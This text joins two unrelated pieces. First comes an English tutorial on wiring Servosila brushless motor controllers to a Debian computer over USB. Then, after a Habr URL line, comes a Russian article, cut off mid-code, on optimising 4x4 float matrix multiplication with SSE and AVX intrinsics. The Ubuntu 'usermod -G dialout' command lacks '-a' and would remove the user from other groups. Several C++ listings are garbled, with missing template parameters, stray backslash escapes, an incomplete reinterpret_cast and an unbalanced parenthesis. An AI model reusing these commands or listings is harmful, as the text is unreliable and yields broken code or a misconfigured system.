I've got a small sensorless brushless motor, and a bigger brushless motor with a built-in absolute encoder. Lets look at how to control those from my Debian Linux computer.
Servosila brushless motor controllers come in several form factors with either a circular or a rectangular shape. The controllers come with a set of connectors for motors and encoders as well as for USB or CANbus networks.
The controllers can be powered by a power supply unit or by a battery. To spice up my setup, I am going to use a battery to power the controllers and thus their motors. The controllers need 7 to 60 volts DC of voltage input. If I connect the battery, the controllers get powered up. The small LED lights tells us that the controllers are happy with the power supply.
We need to connect the brushless motor controllers to the Linux computer. There are two ways to do that - via CANbus or via USB. Lets look at the USB option first. A regular USB cable is used. Only one of the controllers needs to be connected to a computer or a PLC.
Next, we need to build an internal CANbus network between the controllers. We are going to use a CANbus cross-cable to interconnect the controllers. Each controller comes with two identical CANbus ports that help chain multiple controllers together in a network. If one of the interconnected brushless motor controllers is connected to a computer via USB, then that particular controller becomes a USB-to-CANbus gateway for the rest of the network. Up to 16 controllers can be connected this way via a single USB cable to the same control computer or a PLC. The limit is due to finite throughput of the USB interface.
Lets plug the motors to their controllers. The simple sensorless motor has just three phase wires. The more complicated bigger motor comes with three phase wires, a ground wire, and an absolute encoder cable. For now, I will connect just the phase wires and the ground wire. The controllers come with blade terminals for connecting the motors. The terminals are designated as A, B, C and G. There are also soldering holes for the motor cables. Unplug the power supply before connecting the motors. Now, lets power up our motor controllers, and turn our attention to Debian Linux computer.
The controller connected to the computer appears to Linux as a virtual serial port. If we list all the serial devices in Linux, we shall find our controller in the list (`/dev/ttyACM0`):
```
ls -la /dev/tty*
```
The controllers use text messages to deliver telemetry data to the computer. We are going to look at the messages now. This command is supposed to display text messages that the controller sends to the computer.
```
cat /dev/ttyACM0
```
What happened is that Linux prevented us from accessing the serial port due to some default security restrictions. To lift the restrictions, we need to add the "user" account to a group called "dialout". The group lists the users who are allowed to access serial ports. You have to invoke administrative privileges to add yourself to the "dialout" group. Use the "adduser" command in Debian:
```
/usr/sbin/adduser user dialout
```
...or an equivalent "sudo usermod" command in Ubuntu:
```
sudo usermod -G dialout $user
```
Linux requires you to log out and log in again for the updated security permissions to go into effect.
Lets try display telemetry messages again. It worked this time. The controller encodes telemetry in a text string. We will look into the format of the string in a separate video.
One more thing. If you plug the USB cable, and then immediately try to connect to the serial port, you may observe a "Device Busy" error. The ghost error disappears on its own in a few seconds as you keep trying to connect to the port. This issue can be fixed.
What happens is that a standard Linux program called Modem Manager, automatically connects to the serial port thus preventing you from accessing it. The simplest way to fix the problem is to uninstall the Modem Manager:
```
apt-get purge modemmanager
```
Now that we have finished configuring Linux, we can install a graphical software tool called Servoscope. Un-zip the downloaded package in your home directory. Open a terminal, and go to the directory with un-zipped files. Launch the Servoscope program by executing this shell script in the following way:
```
./servoscope.sh
```
The Servoscope program provides means to configure your brushless motor controllers, read telemetry, send commands to the controllers, plot performance charts, and so on. Pick the name of the proper serial port in the drop-down menu, and click the "Connect" button. If the port is not listed in the drop-down menu, click the "Refresh" button.
Both controllers appear in a list of devices. Double-click on a device name to open a command and configuration window. The window has a telemetry and a configuration management sections. You can monitor multiple controllers at the same time. We will look into the Servoscope software with a great detail in a separate video. At this time, you may wish to check input voltage displayed in the telemetry section.
What I am going to show next is just a demo of the controller's auto-configuration function. I suggest that you watch a dedicated video regarding the Auto-Configuration function, since this topic requires some background information. From the drop-down menu, select the Auto-Configuration command. Specify a maximum phase-to-phase electric current that your motor can handle. Specify the number of poles your motor has. Click the Send button.
The motor produces a beep sound. The sound indicates the beginning of an auto-configuration procedure. The controller sends sounding electrical signals to the motor. This way the controller measures various characteristics of the motor, and then configures itself for this particular motor. The motor makes what looks like mysterious kong-fu moves during the auto-configuration routine. The motor accelerates to its maximum speed. Be careful as the motor is producing its maximum torque at this moment. The rapid accelerations may take place a few times during the auto-configuration procedure. The second beep sound indicates the end of the auto-configuration procedure.
Now we need to repeat the routine for the smaller motor. Switch to the other window. Pick Auto-Configuration command from the drop-down menu. Specify a maximum phase-to-phase electric current that your motor can handle. Specify the number of poles your motor has. By the way, these values normally come from the motor's datasheet. Click the Send button. This time the smaller motor produces the beep sound, and starts making the kong-fu moves.
The beauty of the Auto-Configuration function is that the controller automatically configures itself when commissioning a new motor. I suggest that you watch a separate video dedicated to pecularities of the Auto-Configuration routine.
Now that both controllers have been configured, I am going to send an Electronic Speed Control command to the bigger motor. Choose Electronic Speed Control command from the same drop-down menu. I specified speed as 20 electrical revolutions per second.Hit the Send button. Note that the program sends the commands to the serial port in a text format.The motor starts spinning with the commanded speed.
That's it for now. In this video we looked at how to connect brushless motor controllers to a Linux computer via USB. We will look at CANbus interface option in a separate video. | https://habr.com/ru/post/573644/ | null | en | null |
# Ускоряем умножение матриц float 4x4 с помощью SIMD
Уже немало лет прошло, как я познакомился с инструкциями MMX, SSE, а позже и AVX на процессорах Intel. В своё время они казались какой-то магией на фоне x86 ассемблера, который уже давно стал чем-то обыденным. Они меня настолько зацепили, что пару лет назад у меня появилась идея написать свой собственный софт рендерер для одной известной игры. Сподвигло меня на это то, какую производительность обещали эти инструкции. В какой-то момент я даже думал об этом написать. Но писать текст оказалось куда сложнее кода.
В то время я хотел избежать проблем с поддержкой на разных процессорах. Хотелось иметь возможность проверить мой рендерер на максимально доступном количестве. У меня до сих пор остались знакомые со старыми AMD процессорами, и их потолок был SSE3. Поэтому на тот момент я решил ограничиться максимум SSE3. Так появилась векторная математическая библиотека, чуть менее, чем полностью реализованная на SSE, с редким включением до SSE3. Однако в какой-то момент мне стало интересно, какую максимальную производительность я смогу выжать из процессора для ряда критичных операций векторной математики. Одной из таких операций является умножение матриц float 4 на 4.
Собственно, этим делом решил заняться больше ради развлечения. Давно уже написал и использую умножение матриц для моего софт рендера на SSE и вроде мне хватает. Но тут решил посмотреть, сколько тактов я смогу выжать в принципе из умножения 2-х матриц float4x4. На моём текущем SSE варианте это 16 тактов. Правда недавний переход на IACA 3 стал показывать 19, так как на некоторые инструкции вместо 0\* стал писать 1\*. Видимо раньше это было просто недоработкой анализатора.
### Коротко об используемых утилитах
Для анализа кода использовал известную утилиту [Intel Architecture Code Analyzer](https://software.intel.com/en-us/articles/intel-architecture-code-analyzer). Для анализа использую архитектуру Haswell (HSW), как минимальную с поддержкой AVX2. Для написания кода также очень удобно пользоваться: [Intel Intrinsics Guide](https://software.intel.com/sites/landingpage/IntrinsicsGuide) и [Intel optimization manual](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf).
Для сборки использую MSVS 2017 Community с консоли. Код пишу в варианте с интринсиками. Пишешь один раз, и обычно он сразу работает на разных платформах. К тому же x64 компилятор на VC++ не поддерживает инлайн ассемблер, а хочется чтобы и под x64 работало.
Поскольку данная статья уже несколько выходит за рамки уровня начинающего в SIMD программировании, я не буду описывать регистры, инструкции, рисовать (или тырить) красивые картинки и пытаться учить программировать с использованием SIMD инструкций. На сайте Intel полно отличной, понятной и подробной документации.
Хотел сделать всё проще.… А получилось как всегда
-------------------------------------------------
Вот тут начинается момент, который немало усложняет как реализацию, так и статью. Поэтому немного на нём остановлюсь. Писать умножение матриц со стандартным построчным расположением элементов мне не интересно. Кому было надо, и так изучили в ВУЗах или самостоятельно. Наша же цель — производительность. Во-первых, я давно перешёл на расположение по столбцам. Мой софт рендерер базируется на OpenGL API и поэтому, дабы избежать лишних транспонирований, я начал хранить элементы по столбцам. Также это важно потому, что умножение матриц не так критично. Ну умножили 2-5-10 матриц. И всё. А потом умножаем готовую матрицу на тысячи-миллионы вершин. И вот эта операция уже куда критичнее. Можно, конечно, каждый раз транспонировать. Но зачем, если этого можно избежать.
Но вернёмся исключительно к матрицам. С хранением по столбцам определились. Однако можно ещё усложнить. Мне удобнее хранить старшие элементы векторов и матричных строк в SIMD регистрах так, что **x** в старшем float (индекс 3), а **w** в младшем (индекс 0). Тут, видимо, придётся снова сделать отступление на тему почему так.
Дело в том, что в софт рендерере в векторе компонентой **w** приходится манипулировать чаще (там хранится **1/z**), и очень удобно делать это через **\_ss** вариант операции (операции исключительно с компонентой в младшем float регистра *xmm*), не трогая **x, y, z**. Поэтому в SSE регистре вектор хранится в понятном порядке **x, y, z, w**, а в памяти в обратном **w, z, y, x**.
Далее, все варианты умножения также реализованы отдельными функциями. Так сделано потому, что их я использую для подстановки нужного варианта в зависимости от поддерживаемого типа инструкций. [Хорошо описано тут.](http://www.agner.org/optimize/optimizing_cpp.pdf)
Реализуем базовый функционал
----------------------------
### Умножение с циклами, row ordered
**Вариант для построчного расположения элементов**
```
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
r[i][j] = 0.f;
for (int k = 0; k < 4; ++k) {
r[i][j] += m[i][k] * n[k][j];
}
}
}
```
Тут всё просто и понятно. На каждый элемент мы делаем 4 умножения и 3 сложения. В сумме это 64 умножения и 48 сложений. И это без учёта чтения записи элементов.
Всё печально, короче. На этот вариант для внутреннего цикла IACA выдала: *3.65 тактов под x86 сборку и 2.97 под x64 сборку*. Не спрашивайте, почему дробные цифры. Не знаю. IACA 2.1 подобным не страдала. В любом случае, эти цифры надо умножить примерно на 4\*4\*4 = 64. Даже если взять x64, в результате получается около 192 тактов. Понятно, что это примерная оценка. Оценивать производительность точнее для данного варианта не вижу смысла.
### Реализация с циклами, column ordered
**транспонированная матрица, переставляем индексы строк и столбцов**
```
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
r[j][i] = 0.f;
for (int k = 0; k < 4; ++k) {
r[j][i] += m[k][i] * n[j][k];
}
}
}
```
### Умножение с циклами, SIMD ориентированное хранение
**добавляется хранение строк в обратном порядке в памяти**
```
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
r[j][3-i] = 0.f;
for (int k = 0; k < 4; ++k) {
r[j][3-i] += m[k][3-i] * n[j][3-k];
}
}
}
```
Эта реализация несколько упрощает понимание того, что происходит внутри, но явно недостаточно.
### Вспомогательные классы
Для удобства понимания и написания референсного и отладочного кода удобно реализовать пару вспомогательных классов. Ничего лишнего, всё только для понимания. Отмечу, что реализация полноценных классов вектора и матрицы отдельный непростой вопрос, и в тему данной статьи не входит.
**Классы вектора и матрицы**
```
struct alignas(sizeof(__m128)) vec4 {
union {
struct { float w, z, y, x; };
__m128 fmm;
float arr[4];
};
vec4() {}
vec4(float a, float b, float c, float d) : w(d), z(c), y(b), x(a) {}
static bool equ(float const a, float const b, float t = .00001f) {
return fabs(a-b) < t;
}
bool operator == (vec4 const& v) const {
return equ(x, v.x) && equ(y, v.y) && equ(z, v.z) && equ(w, v.w);
}
};
struct alignas(sizeof(__m256)) mtx4 {
// тут всё больше для наглядности хранения в памяти и регистрах
union {
struct {
float
_30, _20, _10, _00,
_31, _21, _11, _01,
_32, _22, _12, _02,
_33, _23, _13, _03;
};
__m128 r[4];
__m256 s[2];
vec4 v[4];
};
// добавляем простейшие инициализаторы
mtx4() {}
mtx4(
float i00, float i01, float i02, float i03,
float i10, float i11, float i12, float i13,
float i20, float i21, float i22, float i23,
float i30, float i31, float i32, float i33)
: _00(i00), _01(i01), _02(i02), _03(i03)
, _10(i10), _11(i11), _12(i12), _13(i13)
, _20(i20), _21(i21), _22(i22), _23(i23)
, _30(i30), _31(i31), _32(i32), _33(i33)
{}
// для передачи в реализацию умножения
operator __m128 const* () const { return r; }
operator __m128* () { return r; }
// для тестов
bool operator == (mtx4 const& m) const {
return v[0]==m.v[0] && v[1]==m.v[1] && v[2]==m.v[2] && v[3]==m.v[3];
}
// инициализаторы
static mtx4 identity() {
return mtx4(
1.f, 0.f, 0.f, 0.f,
0.f, 1.f, 0.f, 0.f,
0.f, 0.f, 1.f, 0.f,
0.f, 0.f, 0.f, 1.f);
}
static mtx4 zero() {
return mtx4(
0.f, 0.f, 0.f, 0.f,
0.f, 0.f, 0.f, 0.f,
0.f, 0.f, 0.f, 0.f,
0.f, 0.f, 0.f, 0.f);
}
};
```
### Референсная функция для тестов
Поскольку принятый порядок элементов в матрице немало усложняет понимание, нам также не помешает референсная *понятная* функция, которая покажет в дальнейших реализациях, что всё работает правильно. Последующие результаты мы будем сравнивать с ней.
**Для её создания просто берём и разворачиваем цикл**
```
void mul_mtx4_mtx4_unroll(__m128* const _r, __m128 const* const _m, __m128 const* const _n) {
mtx4 const& m = **reinterpret_cast(&\_m);
mtx4 const& n = \*\*reinterpret\_cast(&\_n);
mtx4& r = \*\*reinterpret\_cast(&\_r);
r.\_00 = m.\_00\*n.\_00 + m.\_01\*n.\_10 + m.\_02\*n.\_20 + m.\_03\*n.\_30;
r.\_01 = m.\_00\*n.\_01 + m.\_01\*n.\_11 + m.\_02\*n.\_21 + m.\_03\*n.\_31;
r.\_02 = m.\_00\*n.\_02 + m.\_01\*n.\_12 + m.\_02\*n.\_22 + m.\_03\*n.\_32;
r.\_03 = m.\_00\*n.\_03 + m.\_01\*n.\_13 + m.\_02\*n.\_23 + m.\_03\*n.\_33;
r.\_10 = m.\_10\*n.\_00 + m.\_11\*n.\_10 + m.\_12\*n.\_20 + m.\_13\*n.\_30;
r.\_11 = m.\_10\*n.\_01 + m.\_11\*n.\_11 + m.\_12\*n.\_21 + m.\_13\*n.\_31;
r.\_12 = m.\_10\*n.\_02 + m.\_11\*n.\_12 + m.\_12\*n.\_22 + m.\_13\*n.\_32;
r.\_13 = m.\_10\*n.\_03 + m.\_11\*n.\_13 + m.\_12\*n.\_23 + m.\_13\*n.\_33;
r.\_20 = m.\_20\*n.\_00 + m.\_21\*n.\_10 + m.\_22\*n.\_20 + m.\_23\*n.\_30;
r.\_21 = m.\_20\*n.\_01 + m.\_21\*n.\_11 + m.\_22\*n.\_21 + m.\_23\*n.\_31;
r.\_22 = m.\_20\*n.\_02 + m.\_21\*n.\_12 + m.\_22\*n.\_22 + m.\_23\*n.\_32;
r.\_23 = m.\_20\*n.\_03 + m.\_21\*n.\_13 + m.\_22\*n.\_23 + m.\_23\*n.\_33;
r.\_30 = m.\_30\*n.\_00 + m.\_31\*n.\_10 + m.\_32\*n.\_20 + m.\_33\*n.\_30;
r.\_31 = m.\_30\*n.\_01 + m.\_31\*n.\_11 + m.\_32\*n.\_21 + m.\_33\*n.\_31;
r.\_32 = m.\_30\*n.\_02 + m.\_31\*n.\_12 + m.\_32\*n.\_22 + m.\_33\*n.\_32;
r.\_33 = m.\_30\*n.\_03 + m.\_31\*n.\_13 + m.\_32\*n.\_23 + m.\_33\*n.\_33;
}
```
Здесь наглядно расписан классический алгоритм, ошибиться сложно (но можно :-) ). На него IACA выдала: *x86 — 69.95 такта, x64 — 64 такта*. Вот относительно 64 тактов и будем смотреть ускорение данной операции в последующем.
SSE реализация
--------------
### Классический SSE алгоритм
Почему классический? Потому что он давно уже есть в реализации *FVec* в составе MSVS. Для начала напишем как у нас представлены элементы матрицы в SSE регистрах. Здесь уже выглядит проще. Просто транспонированная матрица.
```
// представление матрицы в регистрах
00, 10, 20, 30 // m[0] - в SIMD строках/регистрах храним столбцы
01, 11, 21, 31 // m[1]
02, 12, 22, 32 // m[2]
03, 13, 23, 33 // m[3]
```
Берём код *unroll* варианта выше. Какой-то он недружелюбный для SSE. Первая группа строк состоит из результатов по столбцу результирующей матрицы: *r.\_00, r.\_01, r.\_02, r.\_03*. У нас это столбец, а нам нужна строка. Да и **m**, **n** выглядят неудобно для расчётов. Поэтому переставляем строчки алгоритма, чтобы результат **r** был построчным.
```
// первая группа, это строчка результирующей матрицы r[0]
r00 = m00*n00 + m01*n10 + m02*n20 + m03*n30;
r10 = m10*n00 + m11*n10 + m12*n20 + m13*n30;
r20 = m20*n00 + m21*n10 + m22*n20 + m23*n30;
r30 = m30*n00 + m31*n10 + m32*n20 + m33*n30;
// вторая группа, это строчка результирующей матрицы r[1]
r01 = m00*n01 + m01*n11 + m02*n21 + m03*n31;
r11 = m10*n01 + m11*n11 + m12*n21 + m13*n31;
r21 = m20*n01 + m21*n11 + m22*n21 + m23*n31;
r31 = m30*n01 + m31*n11 + m32*n21 + m33*n31;
// третья группа, это строчка результирующей матрицы r[2]
r02 = m00*n02 + m01*n12 + m02*n22 + m03*n32;
r12 = m10*n02 + m11*n12 + m12*n22 + m13*n32;
r22 = m20*n02 + m21*n12 + m22*n22 + m23*n32;
r32 = m30*n02 + m31*n12 + m32*n22 + m33*n32;
// четвертая группа, это строчка результирующей матрицы r[3]
r03 = m00*n03 + m01*n13 + m02*n23 + m03*n33;
r13 = m10*n03 + m11*n13 + m12*n23 + m13*n33;
r23 = m20*n03 + m21*n13 + m22*n23 + m23*n33;
r33 = m30*n03 + m31*n13 + m32*n23 + m33*n33;
```
А вот так уже гораздо лучше. Что, собственно, мы видим? По столбцам алгоритма в каждой группе у нас задействованы строчки матрицы **m**:
```
m[0]={00,10,20,30}, m[1]={01,11,21,31}, m[2]={02,12,22,32}, m[3]={03,13,23,33},
```
которые умножаются на один и тот же элемент матрицы **n**. Например, для первой группы это:*n.\_00,n.\_10,n.\_20,n.\_30*. И элементы матрицы **n** для каждой группы строк алгоритма снова лежат в одной строке матрицы.
Дальше всё просто: строки матрицы **m** мы просто берём по индексу, а вот что касается элементов **n**, то мы берём её строку и через инструкцию *shuffle* раскидываем её всем 4-м элементам регистра, чтобы умножить на строку матрицы **m** в регистре. Например для элемента *n.\_00* (помним, что его смещение в регистре имеет индекс 3) это будет:
```
_mm_shuffle_ps(n[0], n[0], _MM_SHUFFLE(3,3,3,3))
```
В упрощённом виде алгоритм выглядит так:
```
// задействуется строка n[0]={00,10,20,30}
r[0] = m[0] * n00 + m[1] * n10 + m[2] * n20 + m[3] * n30;
// задействуется строка n[1]={01,11,21,31}
r[1] = m[0] * n01 + m[1] * n11 + m[2] * n21 + m[3] * n31;
// задействуется строка n[2]={02,12,22,32}
r[2] = m[0] * n02 + m[1] * n12 + m[2] * n22 + m[3] * n32;
// задействуется строка n[3]={03,13,23,33}
r[3] = m[0] * n03 + m[1] * n13 + m[2] * n23 + m[3] * n33;
```
**Базовая SSE реализация**
```
void mul_mtx4_mtx4_sse_v1(__m128* const r, __m128 const* const m, __m128 const* const n) {
r[0] =
_mm_add_ps(
_mm_add_ps(
_mm_mul_ps(m[0], _mm_shuffle_ps(n[0], n[0], _MM_SHUFFLE(3,3,3,3))),
_mm_mul_ps(m[1], _mm_shuffle_ps(n[0], n[0], _MM_SHUFFLE(2,2,2,2)))),
_mm_add_ps(
_mm_mul_ps(m[2], _mm_shuffle_ps(n[0], n[0], _MM_SHUFFLE(1,1,1,1))),
_mm_mul_ps(m[3], _mm_shuffle_ps(n[0], n[0], _MM_SHUFFLE(0,0,0,0)))));
r[1] =
_mm_add_ps(
_mm_add_ps(
_mm_mul_ps(m[0], _mm_shuffle_ps(n[1], n[1], _MM_SHUFFLE(3,3,3,3))),
_mm_mul_ps(m[1], _mm_shuffle_ps(n[1], n[1], _MM_SHUFFLE(2,2,2,2)))),
_mm_add_ps(
_mm_mul_ps(m[2], _mm_shuffle_ps(n[1], n[1], _MM_SHUFFLE(1,1,1,1))),
_mm_mul_ps(m[3], _mm_shuffle_ps(n[1], n[1], _MM_SHUFFLE(0,0,0,0)))));
r[2] =
_mm_add_ps(
_mm_add_ps(
_mm_mul_ps(m[0], _mm_shuffle_ps(n[2], n[2], _MM_SHUFFLE(3,3,3,3))),
_mm_mul_ps(m[1], _mm_shuffle_ps(n[2], n[2], _MM_SHUFFLE(2,2,2,2)))),
_mm_add_ps(
_mm_mul_ps(m[2], _mm_shuffle_ps(n[2], n[2], _MM_SHUFFLE(1,1,1,1))),
_mm_mul_ps(m[3], _mm_shuffle_ps(n[2], n[2], _MM_SHUFFLE(0,0,0,0)))));
r[3] =
_mm_add_ps(
_mm_add_ps(
_mm_mul_ps(m[0], _mm_shuffle_ps(n[3], n[3], _MM_SHUFFLE(3,3,3,3))),
_mm_mul_ps(m[1], _mm_shuffle_ps(n[3], n[3], _MM_SHUFFLE(2,2,2,2)))),
_mm_add_ps(
_mm_mul_ps(m[2], _mm_shuffle_ps(n[3], n[3], _MM_SHUFFLE(1,1,1,1))),
_mm_mul_ps(m[3], _mm_shuffle_ps(n[3], n[3], _MM_SHUFFLE(0,0,0,0)))));
}
```
Теперь меняем в алгоритме элементы **n** на соответствующий *shuffle*, умножение на *\_mm\_mul\_ps*, сумму на *\_mm\_add\_ps*, и всё, готово. Оно работает. Код выглядит, правда, куда страшнее, чем выглядел сам алгоритм. На этот код IACA выдала: *x86 — 18.89, x64 — 16 тактов*. Это в 4 раза быстрее предыдущего. В SSE регистре 4-е float. Почти линейная зависимость.
#### Украшаем SSE реализацию
И всё-таки в коде это выглядит ужасно. Попытаемся это улучшить, написав немного синтаксического сахара.
**Операторы и улучшаторы**
```
// превращаем имена функций в обычные удобочитаемые операции (которые всё-таки лучше прятать в namespace)
__m128 operator + (__m128 const a, __m128 const b) { return _mm_add_ps(a, b); }
__m128 operator - (__m128 const a, __m128 const b) { return _mm_sub_ps(a, b); }
__m128 operator * (__m128 const a, __m128 const b) { return _mm_mul_ps(a, b); }
__m128 operator / (__m128 const a, __m128 const b) { return _mm_div_ps(a, b); }
//_mm_shuffle_ps(u, v, _MM_SHUFFLE(3,2,1,0)) превращается в shuf<3,2,1,0>(u, v)
template \_\_m128 shuf(\_\_m128 const u, \_\_m128 const v)
{ return \_mm\_shuffle\_ps(u, v, \_MM\_SHUFFLE(a, b, c, d)); }
template \_\_m128 shuf(\_\_m128 const v)
{ return \_mm\_shuffle\_ps(v, v, \_MM\_SHUFFLE(a, b, c, d)); }
// облегчённый одноиндексный вариант
template \_\_m128 shuf(\_\_m128 const u, \_\_m128 const v)
{ return \_mm\_shuffle\_ps(u, v, \_MM\_SHUFFLE(i, i, i, i)); }
template \_\_m128 shuf(\_\_m128 const v)
{ return \_mm\_shuffle\_ps(v, v, \_MM\_SHUFFLE(i, i, i, i)); }
// для float векторов можно попробовать и такой экзотический вариант,
// который иногда даёт профит, а иногда нет
template \_\_m128 shufd(\_\_m128 const v)
{ return \_mm\_castsi128\_ps(\_mm\_shuffle\_epi32(\_mm\_castps\_si128(v), \_MM\_SHUFFLE(a, b, c, d))); }
template \_\_m128 shufd(\_\_m128 const v)
{ return \_mm\_castsi128\_ps(\_mm\_shuffle\_epi32(\_mm\_castps\_si128(v), \_MM\_SHUFFLE(i, i, i, i))); }
```
Данные функции компилятор умеет отлично инлайнить (хотя иногда без \_\_forceinline никак).
**Итак, код превращается ...**
```
void mul_mtx4_mtx4_sse_v2(__m128* const r, __m128 const* const m, __m128 const* const n) {
r[0] = m[0]*shuf<3>(n[0]) + m[1]*shuf<2>(n[0])
+ m[2]*shuf<1>(n[0]) + m[3]*shuf<0>(n[0]);
r[1] = m[0]*shuf<3>(n[1]) + m[1]*shuf<2>(n[1])
+ m[2]*shuf<1>(n[1]) + m[3]*shuf<0>(n[1]);
r[2] = m[0]*shuf<3>(n[2]) + m[1]*shuf<2>(n[2])
+ m[2]*shuf<1>(n[2]) + m[3]*shuf<0>(n[2]);
r[3] = m[0]*shuf<3>(n[3]) + m[1]*shuf<2>(n[3])
+ m[2]*shuf<1>(n[3]) + m[3]*shuf<0>(n[3]);
}
```
А вот так уже куда лучше и читабельней. На это IACA выдала примерно ожидаемый результат: *x86 — 19 (а чего не дробный?), x64 — 16*. По сути производительность не изменилась, но код намного красивее и понятнее.
#### Небольшой вклад в будущую оптимизацию
Введём ещё одно улучшение на уровне функции, не так уж давно появившейся в железном варианте. Операцию *multiple-add (fma)*. *fma(a, b, c) = a \* b + c*.
**Реализация multiple-add**
```
__m128 mad(__m128 const a, __m128 const b, __m128 const c) {
return _mm_add_ps(_mm_mul_ps(a, b), c);
}
```
Зачем это надо? Прежде всего, для оптимизации в будущем. Например можно просто в готовом коде заменить *mad* на *fma* через те же макросы, кому как удобно. Но основу под оптимизацию мы заложим уже сейчас:
**Вариант с multiple-add**
```
void mul_mtx4_mtx4_sse_v3(__m128* const r, __m128 const* const m, __m128 const* const n) {
r[0] = mad(m[0], shuf<3>(n[0]), m[1]*shuf<2>(n[0]))
+ mad(m[2], shuf<1>(n[0]), m[3]*shuf<0>(n[0]));
r[1] = mad(m[0], shuf<3>(n[1]), m[1]*shuf<2>(n[1])
+ mad(m[2], shuf<1>(n[1]), m[3]*shuf<0>(n[1]));
r[2] = mad(m[0], shuf<3>(n[2]), m[1]*shuf<2>(n[2]))
+ mad(m[2], shuf<1>(n[2]), m[3]*shuf<0>(n[2]));
r[3] = mad(m[0], shuf<3>(n[3]), m[1]*shuf<2>(n[3]))
+ mad(m[2], shuf<1>(n[3]), m[3]*shuf<0>(n[3]));
}
```
IACA: *x86 — 18.89, x64 — 16*. Опять дробное. Всё-таки IACA порой выдаёт странные результаты. Код изменился не так сильно. Наверное, даже чуть-чуть похуже стал. Но оптимизация порой требует подобных жертв.
#### Переходим на сохранение через \_mm\_stream
Разные руководства по оптимизации рекомендуют лишний раз не дёргать кэш для массовых операций сохранения. Обычно это обоснованно, когда вы занимаетесь обработкой вершин, которых тысячи и больше. Но для матриц это, пожалуй, не так важно. Однако всё равно добавлю.
**Вариант с поточным сохранением**
```
void mul_mtx4_mtx4_sse_v4(__m128* const r, __m128 const* const m, __m128 const* const n) {
_mm_stream_ps(&r[0].m128_f32[0],
mad(m[0], shuf<3>(n[0]), m[1]*shuf<2>(n[0])) +
mad(m[2], shuf<1>(n[0]), m[3]*shuf<0>(n[0])));
_mm_stream_ps(&r[1].m128_f32[0],
mad(m[0], shuf<3>(n[1]), m[1]*shuf<2>(n[1])) +
mad(m[2], shuf<1>(n[1]), m[3]*shuf<0>(n[1])));
_mm_stream_ps(&r[2].m128_f32[0],
mad(m[0], shuf<3>(n[2]), m[1]*shuf<2>(n[2])) +
mad(m[2], shuf<1>(n[2]), m[3]*shuf<0>(n[2])));
_mm_stream_ps(&r[3].m128_f32[0],
mad(m[0], shuf<3>(n[3]), m[1]*shuf<2>(n[3])) +
mad(m[2], shuf<1>(n[3]), m[3]*shuf<0>(n[3])));
}
```
По тактам тут ничего не поменялось, от слова совсем. Но, согласно рекомендациям, кэш мы теперь лишний раз не трогаем.
AVX реализация
--------------
### Базовый AVX вариант
Далее перейдём к следующему этапу оптимизации. В SSE регистр входит 4-е float, а в AVX уже 8. То есть, есть теоретический шанс уменьшить число выполняемых операций, и увеличить производительность если не вдвое, то хотя бы раза в 1.5. Но что-то мне подсказывает, что не всё будет так просто с переходом на AVX. Сможем ли мы получать нужные данные из сдвоенных регистров?
Попробуем разобраться. Снова выпишем наш алгоритм умножения, использованный выше. Можно было бы этого не делать, но с кодом удобнее разбираться, когда всё рядом, и не приходится листать на полстраницы вверх.
```
//Снова представление матрицы в регистрах:
00, 10, 20, 30,
01, 11, 21, 31,
02, 12, 22, 32,
03, 13, 23, 33
//И алгоритм для SSE:
r0 = m0*n00 + m1*n10 + m2*n20 + m3*n30
r1 = m0*n01 + m1*n11 + m2*n21 + m3*n31
r2 = m0*n02 + m1*n12 + m2*n22 + m3*n32
r3 = m0*n03 + m1*n13 + m2*n23 + m3*n33
```
На выходе мы ожидаем получить результат в *ymm = {r0:r1}* и *ymm = {r2:r3}*. Если в SSE варианте у нас алгоритм обобщался на столбцы, то теперь нам надо его обобщить на строки. Так что действовать как в случае с SSE вариантом уже не выйдет.
Если считать матрицу **m** в регистры *ymm*, мы получим *ymm = {m0:m1}* и *ymm = {m2:m3}* соответственно. Раньше у нас были только столбцы матрицы в регистре, а теперь и столбцы и строки.
Если попробовать действовать как раньше, то надо *ymm={m0:m1}* умножать на регистр *ymm={n00,n00,n00,n00}:{n10,n10,n10,n10}*. Так как *n00* и *n01* в одной строке матрицы **n**, то, судя по имеющемуся набору AVX инструкций, раскидывать их по *ymm* будет дорого. И *shuffle*, и *permute* работают отдельно для каждой из двух четверок float (старший и младший *xmm*) внутри *ymm* регистров.
Если считать *ymm* из матрицы **n**, то получим оба элемента *n00* и *n10* в старшем из 2-х *xmm* внутри *ymm* регистра. *{n00,n10,n20,n30}:{n01,n11,n21,n31}*. Обычно индекс у имеющихся инструкций от 0 до 3. И адресует float лишь внутри одного *xmm* регистра из двух внутри *ymm* регистра. Перекинуть *n10* из старшего *xmm* в младший *дёшево* не получится. А тут ещё этот фокус надо повторить несколько раз. С такой потерей тактов мы смириться не можем. Надо придумать что-то другое.
Раньше мы обобщали столбцы, а теперь строки. Поэтому попробуем зайти немного с другой стороны. Нам нужно получить результат в *{r0:r1}*. Значит и улучшать алгоритм надо не по отдельным строчкам алгоритма, а сразу по две. И тут то, что было минусом в работе *shuffle* и *permute*, станет для нас плюсом. Смотрим, что у нас будет в регистрах *ymm*, когда мы считаем матрицу **n**.
```
n0n1 = {00, 10, 20, 30} : {01, 11, 21, 31}
n2n3 = {02, 12, 22, 32} : {03, 13, 23, 33}
```
Ага, замечаем, что в разных *xmm* частях *ymm* регистра у нас есть элементы *00* и *01*. Их можно размножить по регистру через команду permute в *{\_00,\_00,\_00,\_00}:{\_01,\_01,\_01,\_01}*, указав лишь один индекс 3 для обоих *xmm* частей. Это именно то, что нам надо. Ведь коэффициенты тоже используются в разных строчках. Только теперь в соответствующем *ymm* регистре для умножения нужно будет держать *{m0:m0}*, то есть дублированную первую строку матрицы **m**.
Итак, расписываем алгоритм более подробно. Считываем в *ymm* регистры сдвоенные строки матрицы **m**:
```
mm[0] = {m0:m0}
mm[1] = {m1:m1}
mm[2] = {m2:m2}
mm[3] = {m3:m3}
```
И тогда вычислять умножение будем как:
```
r0r1 =
mm[0] * {n00,n00,n00,n00:n01,n01,n01,n01} + // permute<3,3,3,3>(n0n1)
mm[1] * {n10,n10,n10,n10:n11,n11,n11,n11} + // permute<2,2,2,2>(n0n1)
mm[2] * {n20,n20,n20,n20:n21,n21,n21,n21} + // permute<1,1,1,1>(n0n1)
